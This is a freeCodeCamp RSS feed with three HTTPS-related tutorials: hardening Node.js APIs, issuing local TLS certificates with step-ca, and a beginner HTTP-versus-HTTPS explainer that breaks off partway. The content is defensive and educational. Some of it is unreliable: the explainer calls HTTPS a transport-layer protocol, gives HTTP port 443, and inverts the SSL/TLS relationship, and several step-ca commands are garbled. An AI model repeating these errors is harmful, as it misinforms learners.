<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ https - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ https - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Wed, 27 May 2026 20:47:11 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/https/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Harden Your Node.js APIs – Security Best Practices ]]>
                </title>
                <description>
                    <![CDATA[ If you’ve built an API with Node.js, chances are you’ve thought about security – at least a little. Maybe you’ve heard about SQL injection, brute force attacks, or data leaks. But here’s the thing: it’s not just about big hacks. Even small gaps in yo... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-harden-your-nodejs-apis-security-best-practices/</link>
                <guid isPermaLink="false">680bb2b3917896a550779bcb</guid>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ injection attacks ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 25 Apr 2025 16:05:07 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745597082780/c803850d-f482-4fcc-a744-4de8fd8a02d8.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you’ve built an API with Node.js, chances are you’ve thought about security – at least a little.</p>
<p>Maybe you’ve heard about SQL injection, brute force attacks, or data leaks.</p>
<p>But here’s the thing: it’s not just about big hacks. Even small gaps in your API can lead to big problems. And no one wants to get that “your data’s been exposed” message.</p>
<p>In this article, I’ll walk you through seven ways to harden your Node.js API.</p>
<p>These are practical tips you can apply right away. I’ll keep the code examples simple and the language even simpler. Let’s get into it.</p>
<h2 id="heading-1-use-environment-variables"><strong>1. Use Environment Variables</strong></h2>
<p>Storing sensitive data like database credentials, API keys, or JWT secrets directly in your code is risky. If your code ends up in the wrong hands, so does everything else.</p>
<p>Instead, store this data in a <code>.env</code> file and use the <code>dotenv</code> package to access it:</p>
<pre><code class="lang-plaintext">require('dotenv').config();
</code></pre>
<pre><code class="lang-plaintext">const dbPassword = process.env.DB_PASSWORD;
</code></pre>
<p>Make sure you <strong>never</strong> commit your <code>.env</code> file. Add it to your <code>.gitignore</code> file to keep it private.</p>
<h2 id="heading-2-validate-all-input"><strong>2. Validate All Input</strong></h2>
<p>Attackers love user input.</p>
<p>If you don’t check what comes into your API, they’ll sneak in commands, inject code, or crash your app.</p>
<p>The best way to stop them is by validating every piece of input. Use a package like <code>Joi</code> or <code>zod</code> to define what your API expects:</p>
<pre><code class="lang-plaintext">const Joi = require('joi');

const schema = Joi.object({
  username: Joi.string().alphanum().min(3).max(30).required(),
  password: Joi.string().pattern(new RegExp('^[a-zA-Z0-9]{6,30}$')).required()
});
const { error } = schema.validate(req.body);
if (error) {
  return res.status(400).send(error.details[0].message);
}
</code></pre>
<p>In the above code, we have defined the exact data type the schema expects. This way, wrong data gets blocked before it reaches your logic or database.</p>
<h2 id="heading-3-rate-limit-your-endpoints"><strong>3. Rate Limit Your Endpoints</strong></h2>
<p>Bots and brute force attacks work by flooding your server with requests. Once your server reaches it limit, your API will crash.</p>
<p>Set a limit on how often a user can hit your API using middleware like <code>express-rate-limit</code> Here is an example.</p>
<pre><code class="lang-plaintext">const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100 // limit each IP to 100 requests per windowMs
});
app.use('/api/', limiter);
</code></pre>
<p>The above code restricts API requests coming from an IP address to 100 per 15 minutes. This is like putting a speed bump in front of a runaway car.</p>
<h2 id="heading-4-always-use-https"><strong>4. Always Use HTTPS</strong></h2>
<p>HTTP sends data in plain text. That means anyone between your server and the user can read it. HTTPS encrypts everything. It’s not optional anymore.</p>
<p>If you’re using a platform like Heroku or Vercel, HTTPS is automatic. If you’re self-hosting, you can set it up with services like Let’s Encrypt.</p>
<p>Also, force HTTPS on all incoming traffic. You can use middleware like this:</p>
<pre><code class="lang-plaintext">app.use((req, res, next) =&gt; {
  if (req.headers['x-forwarded-proto'] !== 'https') {
    return res.redirect('https://' + req.headers.host + req.url);
  }
  next();
});
</code></pre>
<p>Encrypt the ride. Always.</p>
<h2 id="heading-5-use-helmet-to-secure-http-headers"><strong>5. Use Helmet to Secure HTTP Headers</strong></h2>
<p>HTTP headers are key-value pairs sent in requests and responses over the web. They give extra information about what’s being sent – like who’s sending it, what type it is, how it should be handled, and more.</p>
<p>HTTP headers are small, but they can be powerful tools to protect your app. <code>Helmet</code> is a Node.js middleware that sets secure headers for you.</p>
<pre><code class="lang-plaintext">const helmet = require('helmet');
app.use(helmet());
</code></pre>
<p>Helmet helps prevent attacks like cross-site scripting (XSS), clickjacking, and others just by setting the right headers.</p>
<p>One line of code, a big step up in security.</p>
<h2 id="heading-6-sanitize-data-to-prevent-injection-attacks"><strong>6. Sanitize Data to Prevent Injection Attacks</strong></h2>
<p>Injection attacks happen when you blindly trust input and plug it into a command or query.</p>
<p>For example, an attacker might submit a piece of text that turns into a command in your database.</p>
<p>You should sanitize data before it gets to any sensitive function. Libraries like <code>express-mongo-sanitize</code> or <code>xss-clean</code> help clean up malicious input.</p>
<pre><code class="lang-plaintext">const mongoSanitize = require('express-mongo-sanitize');
const xss = require('xss-clean');

app.use(mongoSanitize());
app.use(xss());
</code></pre>
<p>This strips out dangerous characters and scripts that could do real damage.</p>
<h2 id="heading-7-use-strong-authentication-and-authorisation"><strong>7. Use Strong Authentication and Authorisation</strong></h2>
<p>Authentication is about knowing who the user is, and authorisation is about what they can do. You need both, and you need them to be strong.</p>
<p>Use JWT (JSON Web Tokens) or sessions to manage logged-in users. Here’s a quick JWT example:</p>
<pre><code class="lang-plaintext">const jwt = require('jsonwebtoken');

const token = jwt.sign({ id: user._id }, process.env.JWT_SECRET, {
  expiresIn: '1h'
});
</code></pre>
<p>Always verify the token before letting a user access protected routes:</p>
<pre><code class="lang-plaintext">const decoded = jwt.verify(token, process.env.JWT_SECRET);
</code></pre>
<p>And don’t forget roles. A user who can view data shouldn’t be able to delete it unless they’re supposed to.</p>
<h2 id="heading-final-thoughts"><strong>Final Thoughts</strong></h2>
<p>Security isn’t just a feature – it’s a habit. You can’t do everything all at once, but you can start with a few key changes.</p>
<p>Use environment variables. Validate your inputs. Add rate limiting. Move to HTTPS. Install Helmet. Sanitize everything. Lock down your authentication.</p>
<p>Each of these steps is a small lock on a big door. The more you add, the harder it is for someone to break in. So take a little time now. Your future self and your users will thank you.</p>
<p><em>For more cybersecurity tutorials,</em> <a target="_blank" href="https://newsletter.stealthsecurity.sh/"><strong><em>join our newsletter</em></strong></a><em>. To learn the basics of Offensive Cybersecurity, check out our</em> <a target="_blank" href="https://start.stealthsecurity.sh/"><strong><em>Security Starter Course</em></strong></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Bridge the Gap Between Development and Production with Valid HTTPS Certificates ]]>
                </title>
                <description>
                    <![CDATA[ By Linda Ikechukwu One of the core principles of software development involves maintaining development/production parity. But this is not always the case for developers working on localhost. To review, dev/prod parity refers to keeping development, s... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/development-production-parity-with-valid-https-certs/</link>
                <guid isPermaLink="false">66d46014733861e3a22a732c</guid>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ software development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 31 Jul 2023 17:30:52 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/07/pexels-martin-damboldt-814499--1-.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Linda Ikechukwu</p>
<p>One of the core principles of software development involves maintaining development/production parity. But this is not always the case for developers working on <code>localhost.</code></p>
<p>To review, dev/prod parity refers to keeping development, staging, and production environments as similar as possible to avoid encountering undetected bugs. A lack of dev/prod parity can lead to bugs that occur in one environment but that cannot be replicated and debugged in others.</p>
<p>So for example, if your production website runs on HTTPS, your'd want your local development site to also run on HTTPS.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/image-183.png" alt="Image" width="600" height="400" loading="lazy">
<em>"It works on my computer..." comic. <a target="_blank" href="https://twitter.com/gerardsans/status/1413936148846727179?s=20">Image Source</a></em></p>
<h2 id="heading-why-you-should-enable-https-on-your-localhost">Why You Should Enable HTTPS on Your Localhost</h2>
<p>You may be thinking, "doesn't <code>localhost</code> behave just like <code>https</code>? Isn't that why some APIs that don't work on a deployed HTTP site will work on <code>http://localhost</code>?"</p>
<p>Well, yes. For a large number of use cases, <code>http://localhost/&lt;yourportnumber&gt;</code> is just fine and behaves like an HTTPS site. But there are some cases in which it doesn't. Here are some examples of such cases:</p>
<p><strong>Debugging mixed content errors</strong>: Mixed content errors occur when all the content on a page is not retrieved over HTTPS. </p>
<p>For example, if you use a JavaScript library from an HTTP-based CDN, everything might work as expected when you're working on localhost. But in your HTTPS-based production environment, things might be different.</p>
<p>On an HTTPS page, any requests to load JavaScript from an HTTP URL will be blocked by browsers. Because your local environment runs on localhost, you may be unable to spot this bug.</p>
<p><strong>Testing third-party libraries or APIs</strong> that require HTTPS (for example OAuth or Instagram’s API) on local.</p>
<p>Or <strong>setting and testing secure cookies across browsers during local development</strong>: <code>Secure</code>cookies are set only on HTTPS, but not on <code>http://localhost</code>for all browsers.</p>
<p>There are other cases, as this is not an exhaustive list. But to avoid cases where things will break on <code>http://localhost</code>, or it won't quite behave like your production site, just <strong>use HTTPS for local development.</strong></p>
<p>Now, to enable HTTPS for your local environment, you need to provision a TLS certificate for it. Let’s talk about that.</p>
<h2 id="heading-the-relationship-between-https-and-tls-certificates">The Relationship Between HTTPS and TLS Certificates</h2>
<p>If you already know about TLS certificates and how they enable HTTPS, or you’re solution-focused and would like to jump into action, you can skip this section and go to the next.</p>
<p>But if you’d like to get some background info on why TLS certificates are the key, read on.</p>
<h3 id="heading-what-is-https">What is HTTPS?</h3>
<p>HTTPS is a secure extension of HTTP, the communication protocol used to deliver web pages over the internet. </p>
<p>HTTPS is essentially HTTP with an added layer of security provided by the Transport Layer Security (TLS) protocol. While HTTP handles the transportation of data over the internet, TLS encrypts that data to ensure its security, giving rise to HTTPS.</p>
<h3 id="heading-what-is-tls">What is TLS?</h3>
<p>The TLS encryption of data transfer is based upon the transmission of a TLS certificate from the web server to a client, usually the browser. </p>
<p>Here is how it works: when you enter a HTTPS URL that you want to visit, your browser attempts to establish a HTTPS connection with the web server hosting the file needed to serve the web page. To do that, a TLS handshake is performed. </p>
<p>The goal of the TLS handshake is for the browser and the web server to agree on a shared symmetric cryptographic key to be used for encrypting and decrypting messages exchanged between them. But this symmetric key needs to be exchanged in a secure manner.</p>
<p>Symmetric keys are a preferred cryptographic key type for encryption because they're faster to run (in the web, speed is everything). But they're riskier because there's no way to ensure or verify that a bad actor does not intercept a symmetric key in transit and claim it. Also, there's no way to verify that only the intended recipient gets the key. </p>
<p>This is the problem asymmetric keys come in to solve. Asymmetric keys are used to securely transmit a symmetric key between the client and server.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/Talk-Using-Certificates-on-local-web-servers--1-.png" alt="Image" width="600" height="400" loading="lazy">
<em>Illustration depicting secure communication between browser and web server</em></p>
<h3 id="heading-how-do-asymmetric-keys-work">How do asymmetric keys work?</h3>
<p>Asymmetric keys employ a pair of keys: a public key and a private key. When exchanging data, the sender uses the public key to encrypt messages, and the recipient uses their private key (which is kept private and never shared) to decrypt the message. Since the private key is kept secret, this ensures that only the intended recipient can decrypt the message.</p>
<p>For instance, if a server wants to securely receive a symmetric key from a browser, it creates a pair of asymmetric keys and shares the public key with the browser. The browser uses the public key to encrypt the symmetric key and send the encrypted message to the server. The server then uses its private key (which is only known to the server) to decrypt the message. </p>
<p>This is how asymmetric keys ensure that only the intended receiver with the corresponding private key receives the symmetric key.</p>
<p>But how does the web server get its public key into the browser's hands, and how can the browser be sure that the public key it received actually belongs to the web server? They can place it in a file or document, and that's what TLS certificates are for.</p>
<p>A TLS certificate a data file hosted in a website's <a target="_blank" href="https://www.cloudflare.com/learning/cdn/glossary/origin-server/">origin server</a> and contains the server’s <a target="_blank" href="https://www.cloudflare.com/learning/ssl/how-does-public-key-encryption-work/">public key</a>, along with related information which identifies the web server.</p>
<p>Now, what about the problem of trust? This is where the second component of the game, which are certificate authorities, come into play. </p>
<h3 id="heading-what-is-a-certificate-authority">What is a certificate authority?</h3>
<p>A certificate authority (CA) is an entity that is trusted by both a client and server. Its primary role is to responsibly issue TLS certificates. </p>
<p>CAs serve as guarantors or referees. For example, if Mr. A wants to make a transaction with Mr. B, but they have no prior relationship, Mr. C, who Mr. B trusts, can vouch for Mr. B. </p>
<p>In this scenario, Mr. C plays the role of the CA, helping to establish trust between the client and server. TLS certificates must be signed by certificate authorities to solves the problem of trust.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/Talk-Using-Certificates-on-local-web-servers--2-.png" alt="Image" width="600" height="400" loading="lazy">
<em>Illustration showing how a certificate authority works</em></p>
<p>So a TLS certificate is a file containing a web server's public key, signed by a certificate authority to attest that the public key contained in the certificate is indeed the public key of the web server.</p>
<p>During the TLS handshake, the client and server use the public and private keys to exchange randomly generated data. This random data is used to create new shared symmetric keys for encryption, called session keys. And that's how HTTPS comes about.</p>
<p>Ok, that's enough cryptography for today. Now that you understand the basics of certificates, let's take a look at how to obtain a TLS certificate for your <code>[localhost](&lt;http://localhost&gt;)</code> server.</p>
<h2 id="heading-how-to-get-a-tls-certificate-for-your-localhost-server">How to Get a TLS Certificate for Your Localhost Server</h2>
<p>Now that you understand the role certificates play in enabling HTTPS, it's clear what we need to do to enable HTTPS for our local web server: we need to obtain a TLS certificate from a certificate authority trusted by browsers and clients on our device.</p>
<p>Operating systems and browsers come with a predefined list of publicly trusted CAs such as Let's Encrypt. To see the list of trusted certificate authorities on your system root trust store, if you're on a Mac, search for 'keychain access'. </p>
<p>But these CAs are prohibited from issuing certificates to domains on private TLDs like localhost <a target="_blank" href="https://smallstep.com/blog/reasons-not-to-use-public-certificate-authorities/">for various reasons</a>.</p>
<p>It's possible to create a self-signed TLS certificate without a CA. In this case, you'll be signing your certificate yourself and attesting to the fact that your public key is your public key.</p>
<p>With self-signed certificates, there's no outside authority to verify that the origin server is who it claims to be. </p>
<p>Browsers don't consider self-signed certificates trustworthy and may still mark sites with them as "not secure," despite the https:// URL. This is what happens with the <a target="_blank" href="https://www.gatsbyjs.com/docs/local-https/">Gatsby https flag</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/image--1-.png" alt="Image" width="600" height="400" loading="lazy">
<em>Self signed certificate error on Firefox browser.</em></p>
<p>What you need do is:</p>
<ol>
<li>Create your own local certificate authority</li>
<li>Get your system/environment to trust it</li>
<li>Use the CA to issue a TLS certificate for your local web server</li>
<li>Install the certificate on your web server</li>
</ol>
<p>This may sound like a lot, yeah? The good news is that it's actually super easy and fast to do using an open-source project known as <code>step-ca</code>.</p>
<h2 id="heading-how-to-use-step-ca-to-provision-a-tls-certificate-for-your-local-nodejs-server">How to Use <code>step-ca</code> to Provision a TLS Certificate for Your Local Node.js Server</h2>
<p><a target="_blank" href="https://github.com/smallstep/certificates"><code>step-ca</code> is an open-source certificate authority</a> for private and internal networks.</p>
<p>To get started, follow these steps:</p>
<p>First, open your terminal. Run <code>brew install step</code> if you’re on a Mac to install <code>step-ca</code> and and accompanying CLI tool, <code>step-cli</code>. </p>
<p><code>step-cli</code> is a CLI tool that is useful for interfacing and communicating with <code>step-ca</code>. If you’re on Windows or Linux, you can find installation instructions in the documentation.</p>
<p>Next, run <code>step-init</code>. This command creates and initialises a <code>step-ca</code> certificate authority server on your local machine.</p>
<p>Then, you’ll be prompted to select a few options as shown in the image below:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/Talk-Using-Certificates-on-local-web-servers--3-.png" alt="Image" width="600" height="400" loading="lazy">
<em>Screenshot of <code>step-ca</code> setup options</em></p>
<p>Let's go over them one by one:</p>
<ul>
<li><strong>Deployment Type</strong>: Same as image above, go with ‘<strong>Standalone</strong>’ because you’re running the <code>step-ca</code> option yourself.</li>
<li><strong>What would you like to name your PKI:</strong> Change ‘<strong>Linda-PKI</strong>’ to whatever you want yours to be called.</li>
<li><strong>What DNS or IP addresses would you like to add to your new CA:</strong> This asks you to specify domain names or IP addresses you would enable your CA issue certificates to. Since this is for localhost, enter ‘<strong>localhost</strong>’.</li>
<li><strong>What IP and port would you like to bind your CA to</strong>: Asks you to specify a port that the CA server would run on.</li>
<li><strong>What would you like to name your provisioner:</strong> For the <code>step-ca</code> ecosystem, a provisioner is a person or entity authorised to initiate certificate issuance operations with a CA. Think f it as entering as using your email as your username to register on a platform.</li>
<li><strong>Choose a password for your CA keys and first provisioner</strong>: This is the password that will be used to authorise certificate issuance requests. Take note of your password as it will come in handy in the next steps.</li>
</ul>
<p>After you’ve filled out all the options, you’ll get a screen like below, showing that your CA and other necessary elements have been created and ready to go.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/Screenshot-2022-10-21-at-17.58.57.png" alt="Image" width="600" height="400" loading="lazy">
<em>Screenshot of <code>step-ca</code> success screen</em></p>
<p>Now, run <code>step certificate install</code><code>` to install the CA root certificate file into your system trust store. Replace</code><code>with your own file path from the previous step. From my example, mine would be</code>`. </p>
<p>Remember how I mentioned that your certificate authority must be trusted by your browsers, and that all OS and browsers come pre-installed with trusted certificate authorities? This step adds your just-created certificate authority to that list. </p>
<p>After running this command, you’ll get a screen like below:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/Screenshot-2022-10-22-at-08.41.43.png" alt="Image" width="600" height="400" loading="lazy">
<em>Screenshot of <code>step-ca</code> root certificate installation success screen</em></p>
<p>Next, run <code>step-ca</code><code>` to start the the CA server. In my example</code><code>would be</code>/Users/linda/.step/config/ca.json` from the third step. You’ll get a screen informing you that your CA is now running at the port you specified in the third step.</p>
<p>Use your CA to create a new cert and private key for your <a target="_blank" href="http://localhost">localhost</a> server/project. Run <code>step ca certificate &lt;subject&gt; &lt;crt-file&gt; &lt;key-file&gt;</code> on your project server where:   </p>
<ul>
<li><code>subject</code> is the domain name or ip address of server you’re getting a cert for,</li>
<li><code>crt-file</code> is filename to write the certificate to, and</li>
<li><code>key-file</code> is file to write the private key to.</li>
</ul>
<p>For my example, my command was <code>step ca certificate localhost server.crt server.key</code></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/Screenshot-2022-10-22-at-09.01.23.png" alt="Image" width="600" height="400" loading="lazy">
<em>Screenshot of success screen for step-ca certificate and private key creation step</em></p>
<p>You'll notice that a server.crt and server.key files will be created in your project.</p>
<p>Finally, reference the <code>server.crt</code> and <code>server.key</code> files in the Node.js <code>https.createServer()</code> method for the cert and key properties, respectively, in your <code>index.js</code> file. This instructs the resulting Node.js server to use the certificate and private key during a TLS handshake to enable HTTPS.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/Screenshot-2022-10-22-at-11.27.41.png" alt="Image" width="600" height="400" loading="lazy">
<em>Screenshot of server.crt and server.key files referenced in https.createServer function in my node.js demo project</em></p>
<p>Stop and restart your Node.js server, then navigate to your localhost URL. Your localhost should now be running on HTTPS, like below (notice the padloock sign):</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/07/Screenshot-2022-10-21-at-17.32.21.png" alt="Image" width="600" height="400" loading="lazy">
<em>Screenshot of my node.js localhost server now running on HTTPS!</em></p>
<p>Sweet!!</p>
<h2 id="heading-last-words-and-bonus-points">Last Words and Bonus Points</h2>
<p>If you have followed this tutorial, you have successfully issued a certificate for your local Node.js project. You can use the same certificate authority (CA) to issue certificates for other projects running on different ports by following the same process.</p>
<p>It is important to note that by default, these certificates are only valid for one day. You have two options to extend their lifetime: either extend it when creating the certificate, using the <code>--not-before</code> and <code>--not-after</code> flag (<a target="_blank" href="https://smallstep.com/docs/step-cli/reference/certificate/create/#positional-arguments">see documentation</a>),  or run a daemon to periodically renew the certificate.</p>
<p>If your certificate has already expired, you can renew it manually by following the steps below:</p>
<ol>
<li>Restart your <code>step-ca</code> instance incase the process has been closed (that is, you’ve closed the terminal somehow). Run <code>step-ca &lt;file-path-to-ca.json&gt;</code>.</li>
<li>Run <code>step ca provisioner update linda.ikechukwu@smallstep.com --allow-renewal-after-expiry</code> where <a target="_blank" href="mailto:linda.ikechukwu@smallstep.com">linda.ikechukwu@smallstep.com</a> should be your provisioner name.</li>
<li>Kill the CA server process and restart it.</li>
<li>Then run the renew command <code>step ca renew server.crt server.key</code></li>
</ol>
<p>Happy building!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ HTTP vs HTTPS – What's the Difference? ]]>
                </title>
                <description>
                    <![CDATA[ By Karlgusta Annoh We interact with HTTP and HTTPS a lot in our day-to-day lives, but many people don't know the difference.  Most computer users just see that the browser is telling them their application is not safe and that a hacker might want to ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/http-vs-https/</link>
                <guid isPermaLink="false">66d45f6551f567b42d9f845d</guid>
                
                    <category>
                        <![CDATA[ http ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 16 Aug 2022 17:47:14 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/07/HTTP-VS-HTTPS.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Karlgusta Annoh</p>
<p>We interact with HTTP and HTTPS a lot in our day-to-day lives, but many people don't know the difference. </p>
<p>Most computer users just see that the browser is telling them their application is not safe and that a hacker might want to steal their important information. This leads to users running away faster than Usain Bolt's current record.</p>
<p>But this is avoidable. That is where HTTPS comes in and replaces HTTP. And we are going to discuss that today. :)</p>
<h2 id="heading-heres-what-well-cover">Here's What We'll Cover:</h2>
<ol>
<li>What is HTTP?</li>
<li>How HTTP works</li>
<li>Features of HTTP</li>
<li>How to know if a site is not secure</li>
<li>Are all HTTP websites insecure?</li>
<li>What is HTTPS?</li>
<li>How HTTPS works</li>
<li>Features of HTTPS</li>
<li>How encryption works</li>
<li>How to know if a site is secure</li>
<li>What is an SSL certificate?</li>
<li>How does SSL work?</li>
<li>How can I get SSL for my website?</li>
<li>Where can I get an SSL certificate?</li>
<li>Can I get an SSL certificate for free?</li>
<li>The main differences between HTTPS and HTTP</li>
<li>Conclusion</li>
</ol>
<h2 id="heading-what-is-http">What is HTTP?</h2>
<p>Hyper Text Transfer Protocol, or HTTP, is a communication method between your browser and the site you want to visit (web server).</p>
<p>This allows you to get the information that you need from the server on your browser.</p>
<p>A good way to understand HTTP and HTTPS is by using an analogy. We know that browsers and servers communicate using HTTP. HTTP is usually in plain text. Many people around the world speak English. If a hacker who knows English hacks into your computer, they can easily see any password you input.</p>
<p>Here in Kenya, in my mother tongue, we speak Turkana. If you don't speak the language and you come to Kenya and find two Turkanas speaking, you may not understand what they are saying. </p>
<p>That's the beauty of HTTPS. It is encrypted so that the hacker hopefully doesn't understand the communication between the browser and the server.</p>
<p>![Client to server](https://user-images.githubusercontent.com/33565767/178446926-d904cc04-57cd-4427-bdcc-e76c35f8b51b.png "client/browser communicating with server")</p>
<p>If I was to go to http://www.google.com, I would expect to see Google's default page.</p>
<p>![Googles default page](https://user-images.githubusercontent.com/33565767/178450768-e1fed4a5-993d-4d49-a47f-83cce6473085.png "Google's default page")</p>
<p>The client, which in most cases is the web browser, sends a message which in computer terms is a request. Then the server will give back an answer, which is the response.</p>
<p>HTTP is very useful in sending HTML documents as well as images and videos to the web browser for the user to see. It is also used to send data to the server in HTML forms.</p>
<p>![Where HTTP Protocol sits](https://user-images.githubusercontent.com/33565767/178460366-d0568e2d-d107-4afe-a778-0ce1d224b176.png "HTTP Protocol is between the web browser(client) and the web server, which is in constant communication with the server side script and the database.")</p>
<h2 id="heading-how-http-works">How HTTP Works</h2>
<p>HTTP sends data through plain text. For example, if you were to access your bank's web page and they are using HTTP, a hacker may be able to access it and read any information that you send.</p>
<p>This is where HTTPS comes in. Many companies have implemented HTTPS to be able to allow their users to send data securely. We'll discuss this further below.</p>
<h2 id="heading-features-of-http">Features of HTTP</h2>
<ul>
<li>Plain text. Initially when HTTP was developed, developers had one thing in mind: to serve only text documents. Now, HTTP is used in more ways than it was initially intended.</li>
<li><p>Layer 7 protocol. HTTP is a layer 7 protocol in the OSI Model of networking. Layer 7 is the application layer. This layer is the top-most layer in the OSI model. The other layers include the physical, data link, network, transport, session, and presentation layer. To learn more about the OSI model, you can check out this free video on freeCodeCamp's YouTube channel by Brian Ferrill about how the internet works. There are more cookies in the jar other than the OSI model. <a target="_blank" href="https://www.youtube.com/watch?v=qiQR5rTSshw&amp;t=27s&amp;ab_channel=freeCodeCamp.org">Computer Networking Course - Network Engineering [CompTIA Network+ Exam Prep]</a></p>
</li>
<li><p>Insecure. When you send HTTP requests they are sent through plain text. Also, when you get a response, you get it through plain text. This means that anyone who can access the requests and the responses can read them.
![Insecure connection](https://user-images.githubusercontent.com/33565767/179723161-3ec27c27-df79-4749-b810-974583cf1687.png "Insecure connection during a normal HTTP connection by the user")</p>
</li>
<li>Light weight. The advantage of HTTP is that it is very lightweight. It is therefore very fast since it doesn't do the encryption stuff to secure the data, like HTTPS does.</li>
<li>HTTP usually listens on port 80.</li>
</ul>
<h2 id="heading-how-to-know-if-a-site-is-not-secure">How to Know if a Site is Not Secure</h2>
<p>When a site is not secure, Chrome will usually send a warning that says <code>Your connection is not private</code>.
![HTTP Not secure](https://user-images.githubusercontent.com/33565767/182329336-d405d5b4-f5bb-45df-b936-aa1d04b9dffd.png "Your connection is not secure when going to a site that is not secure")</p>
<p>On Chrome, the URL bar will usually show <code>Not Secure</code> in red if a site is not secure.
![Not secure URL image](https://user-images.githubusercontent.com/33565767/182329466-d2db68a8-7033-4f64-bb66-0665e8fc0c62.png "URL of an insecure website")</p>
<h2 id="heading-are-all-http-websites-insecure">Are All HTTP Websites Insecure?</h2>
<p>Well, let's look at an example. Imagine you are browsing a meme website, laughing at each one as you scroll by. If it is using HTTP, then you are off the hook. It's not a big deal.</p>
<p>You get bored and decide to go to your bank's site to access your account on your browser. If the site is not using HTTPS, you might as well be serving your account details to a hacker on a silver plate.</p>
<p>So the bottom line is, if you're browsing inconsequential information, HTTP is ok. But if you are dealing with insecure information, HTTP isn't enough.</p>
<h2 id="heading-what-is-https">What is HTTPS?</h2>
<p>Hyper Text Transfer Protocol Secure, or HTTPS, is a way that communication can happen SECURELY between your browser and the site you want to visit (web server).</p>
<h2 id="heading-how-https-works">How HTTPS Works</h2>
<p>HTTPS makes a secure connection by using a secure protocol that encrypts your data. </p>
<p>For most websites, the best way to have HTTPS is by getting an SSL (Secure Sockets Layer) Certificate or a TLS (Transport Layer Security) certificate.</p>
<p>At the moment, SSL has become advanced enough that it supports TLS. So you don't need to get a TLS certificate.</p>
<h2 id="heading-features-of-https">Features of HTTPS</h2>
<ul>
<li>Encrypts data. Data encryption happens through the TLS/SSL protocol.</li>
<li>It is a layer 4 (Transport layer) protocol. </li>
<li>Key exchanges of public and private keys happen in HTTPS to encypt and decrypt data.</li>
<li>Compared to HTTP, is it heavier. When encrpytion and decryption happens in HTTPS, it becomes heavier.</li>
<li>HTTP listens on port 443.<h2 id="heading-how-encryption-works">How Encryption Works</h2>
</li>
</ul>
<p>![How encryption works](https://user-images.githubusercontent.com/33565767/180215739-5e731309-eda1-4993-927c-c9daa400c3c5.png "I am a dev from the client text passing through an encyption")</p>
<p>Let's say I type "I am a dev". This text gets encrypted when I click send, and then it gets decrypted on the server side.</p>
<p>The same is also true from the server side. If I get a response from the server, it will first get encrypted, then it will get decrypted on the client side.</p>
<h2 id="heading-how-to-know-if-a-site-is-secure">How to Know if a Site is Secure</h2>
<p>To know that a site is secure, you usually look at the URL bar where you can see a lock. If there is a lock, the connection from the client to the server is secure.</p>
<p>![Showing that the site is secure](https://user-images.githubusercontent.com/33565767/178449484-738fb908-901d-4a61-9f8f-fa5a39029012.png "A padlock that shows the site is secure on the URL")</p>
<p>When you click on the lock icon, it tells you more about the secure connection.</p>
<p>![Shows site is secure](https://user-images.githubusercontent.com/33565767/180213859-21460cfa-6a8c-484e-81e5-5dba4fc31f2a.png "The URL section with more details of a secure site")</p>
<h2 id="heading-what-is-an-ssl-certificate">What is an SSL Certificate?</h2>
<p>An SSL certificate is a little file that tells browsers that your website –for example, freecodecamp.org – is who it says it is, and that it is reliable.</p>
